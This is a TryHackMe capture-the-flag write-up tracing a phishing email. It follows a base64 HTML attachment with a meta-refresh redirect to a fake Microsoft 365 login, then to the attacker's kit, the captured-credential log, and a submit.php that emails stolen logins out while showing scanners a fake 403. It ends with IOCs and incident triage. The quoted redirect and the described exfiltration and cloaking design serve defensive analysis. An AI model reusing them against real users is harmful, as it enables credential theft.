TryHackMe Snapped Phish-ing Line: Following a Phishing Link Back to the Kit

TryHackMe Snapped Phish-ing Line: Following a Phishing Link Back to the Kit

A suspicious email, a fake Microsoft login, and an attacker who left their server wide open. Working from one phishing URL back to the phishing kit, the stolen credentials, and the inbox they were sent to.

The phishing URL was the most useful piece of evidence in the whole email.

Snapped Phish-ing Line puts you in the IT department at SwiftSpend Financial on a bad day. Employees across several departments have reported a suspicious email, and some of them have already entered their credentials and been locked out of their accounts. The job is to figure out how the attack worked and how far it got. I finished the earlier Phishing Analysis rooms right before this one, so this was my chance to use those skills on a full investigation, from the email itself all the way back to the attacker’s server.

Step 1: What’s in the email?

The headers answered the first couple of questions, but the attachment is where things got interesting. It wasn’t a document. It was base64 encoded, which is just a way of storing a file as text, so I pasted it into CyberChef and ran From Base64:

Decoding the attachment in CyberChef

What came out was a tiny HTML page, and the important line is a meta refresh:

<meta http-equiv="refresh" content="0;URL='http://kennaroads.buzz/data/Update365/office365/40e7baa2f826a57fcf04e5202526f8bd/?email=zoe.duncan@swiftspend.finance&error'" />

A refresh of 0 means “go there immediately”. The attachment doesn’t contain any malware at all. Its only job is to send the victim to the attacker’s site, and it fills in their email address on the way, so the page they land on already knows who they are. Using an attachment instead of a link in the email body also helps it get past filters that only scan email links.

Step 2: Where does it go?

Opening the page in the VM’s browser:

Fake Microsoft login page

It’s a convincing copy of the Microsoft 365 sign-in page, with Zoe’s email already filled in and only a password box left. That pre-filled email is a nice touch from the attacker’s side: it looks like a normal “your session expired, sign in again” prompt. But the address bar gives it away. It’s kennaroads.buzz, plain HTTP with “Not Secure”, nothing to do with Microsoft.

Step 3: What else is on that server?

A phishing URL isn’t just one address. It’s a path through folders on someone else’s web server, and you can walk back up it. I started trimming the URL back one folder at a time. At /data/, the server showed this:

Directory listing on /data/

“Index of /data” means directory listing is turned on, so the server just lists every file in the folder for anyone who asks. Sitting there was Update365.zip, the phishing kit itself: the ready-made bundle of fake pages and scripts the attacker uploaded to build the site. The attacker left their entire toolkit available to download.

Step 4: What is the kit?

I downloaded the zip and hashed it before doing anything else:

Hashing Update365.zip

SHA256: ba3c15267393419eb08c7b2652b8b6b39b406ef300ae8a18fee4d16b19ac9686

Searching that hash on VirusTotal shows this isn’t a one-off:

VirusTotal details for Update365.zip

It was first submitted back in April 2020, it’s been seen under other names like update.zip and abc.zip, and it contains 49 files. That’s what you’d expect from a phishing kit that’s been sold or shared around and reused by different attackers. As with any sample, I searched the hash rather than uploading the file, so nothing about this investigation got shared with whoever watches VirusTotal.

Step 5: Who fell for it?

Back in the server’s folders, /data/Update365/ had a file called log.txt. It turned out to be the attacker’s list of everything victims had typed into the fake login:

log.txt with captured credentials

Every entry has an email, the password they entered, their IP address, user agent, country and a timestamp, all ending with the kit’s signature line, Created BY Real Carder. This is the file that turns the investigation from “suspicious email” into “confirmed compromise”, and it tells you exactly how big the problem is. Four SwiftSpend accounts are in there: michael.ascot (twice, the most of anyone), zoe.duncan, derick.marshall and michelle.chen.

It also explains the lockouts from the scenario. Those users didn’t just click a link. They handed over working passwords, and the attacker has had time to use them.

Step 6: Where do the credentials go?

Unzipping the kit and stepping through its folders, the script that does the actual stealing is office365/Validation/submit.php:

submit.php from the phishing kit

Reading it from top to bottom tells the whole story:

  • The fake 403. The very first thing it does is check whether the request is a GET. If it is, it prints a “403 Forbidden” page and stops. A victim submitting the login form sends a POST, so they get through. An analyst or security scanner just browsing to the URL sees “Forbidden” and moves on. A 403 here doesn’t mean there’s nothing there. It means the kit is hiding.
  • What it collects. The email and password from the form, plus the victim’s IP, user agent, country (looked up through geoplugin) and the date. That’s exactly the format of the entries in log.txt.
  • Where it sends it. $send = "m3npat@yandex.com";. Every captured login gets emailed to that address. That’s the attacker’s collection inbox, and the most valuable IOC in the room, because it’s the one thing they can’t easily change without editing the kit.

Step 7: Where is the flag?

The last question says to return to the phishing URL and find flag.txt, then decode it with CyberChef. I got stuck here at first, and the lesson was in the wording of the question. It gives you both the filename and the starting point, so you don’t need to scan the server. You walk back up the phishing URL and ask for flag.txt at each level:

.../office365/40e7baa2f826a57fcf04e5202526f8bd/flag.txt
.../data/Update365/office365/flag.txt   <- here
.../data/Update365/flag.txt
.../data/flag.txt
http://kennaroads.buzz/flag.txt

It wasn’t in the zip, so reading the kit couldn’t find it. The zip is dated April 16, but the Update365/ folder on the server was changed on May 3, so files were added after the kit was packaged. And office365/ doesn’t have directory listing turned on, so you have to ask for the file by name. Five requests at most, with no guessing.

The file contains a short string ending in =. Only letters and digits, and padding at the end, is what base64 looks like, so From Base64 was the first step in CyberChef. The output came out backwards: it started with } and ended with MHT, which is “THM” reversed. Adding a Reverse step gives the flag, THM{REDACTED}. Its wording is a fair summary of the room: the URL is the investigation.

IOCs

  • Phishing domain: kennaroads[.]buzz
  • Landing page: hxxp://kennaroads[.]buzz/data/Update365/office365/40e7baa2f826a57fcf04e5202526f8bd/
  • Credential collection email: m3npat[@]yandex[.]com
  • Phishing kit: Update365.zip, SHA256 ba3c15267393419eb08c7b2652b8b6b39b406ef300ae8a18fee4d16b19ac9686
  • Kit signature string: Created BY Real Carder
  • Delivery: base64-encoded HTML attachment with a meta-refresh redirect

Triage

If this were a real incident, this is what I’d do next, based on what I’ve learned so far. The log already proves credentials were stolen, so containment comes first:

  1. Reset the passwords and revoke active sessions for all four accounts in log.txt, then check their sign-in logs for logins from the attacker’s side since the email arrived.
  2. Block kennaroads.buzz at the email gateway, DNS and web proxy, and search the proxy logs for anyone else who visited it.
  3. Search every mailbox for the same email and pull all copies, including from people who haven’t reported it yet.
  4. Report the phishing site to its hosting provider and the collection address to Yandex so both can be taken down.
  5. Look at why the attachment got through. An HTML attachment that redirects to an external site is worth a mail filtering rule of its own.

Wrapping up

The email was only the starting point. Everything that mattered, the kit, the victim list and the attacker’s inbox, came from treating the phishing URL as a path I could walk back up. The two things I’m taking from this room are that a careless attacker’s server can be the best evidence you have, and that when a question hands you a filename and a starting point, the simplest search is usually the right one.